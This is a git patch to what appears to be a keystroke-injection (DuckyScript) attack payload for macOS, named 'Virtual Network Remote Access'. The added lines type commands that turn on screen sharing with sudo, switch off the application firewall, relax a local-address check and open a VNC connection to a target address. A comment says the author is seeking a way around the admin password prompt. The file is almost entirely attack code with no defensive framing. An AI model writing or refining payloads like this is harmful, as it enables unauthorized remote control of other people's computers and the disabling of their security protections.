From 67caad58e68ae486b324b86fb351a35bbba391cc Mon Sep 17 00:00:00 2001 From: Narstybits Date: Wed, 31 May 2023 10:36:54 -0500 Subject: [PATCH] must enter admin password. Trying to find a workout --- Executions/Virtual Network Remote Access.txt | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/Executions/Virtual Network Remote Access.txt b/Executions/Virtual Network Remote Access.txt index 88b2fcf..25e0576 100644 --- a/Executions/Virtual Network Remote Access.txt +++ b/Executions/Virtual Network Remote Access.txt @@ -36,11 +36,19 @@ DELAY 500 STRING terminal DELAY 500 ENTER -DELAY 1000 -STRING /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off +DELAY 500 +STRING sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.screensharing.plist +REM must enter admin password. Trying to find a workout +DELAY 7000 ENTER DELAY 1000 +STRING /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off +DELAY 3000 +ENTER +DELAY 500 STRING defaults write com.apple.ScreenSharing skipLocalAddressCheck -bool true +DELAY 3000 +ENTER DELAY 500 STRING open vnc://target_ip_address DELAY 500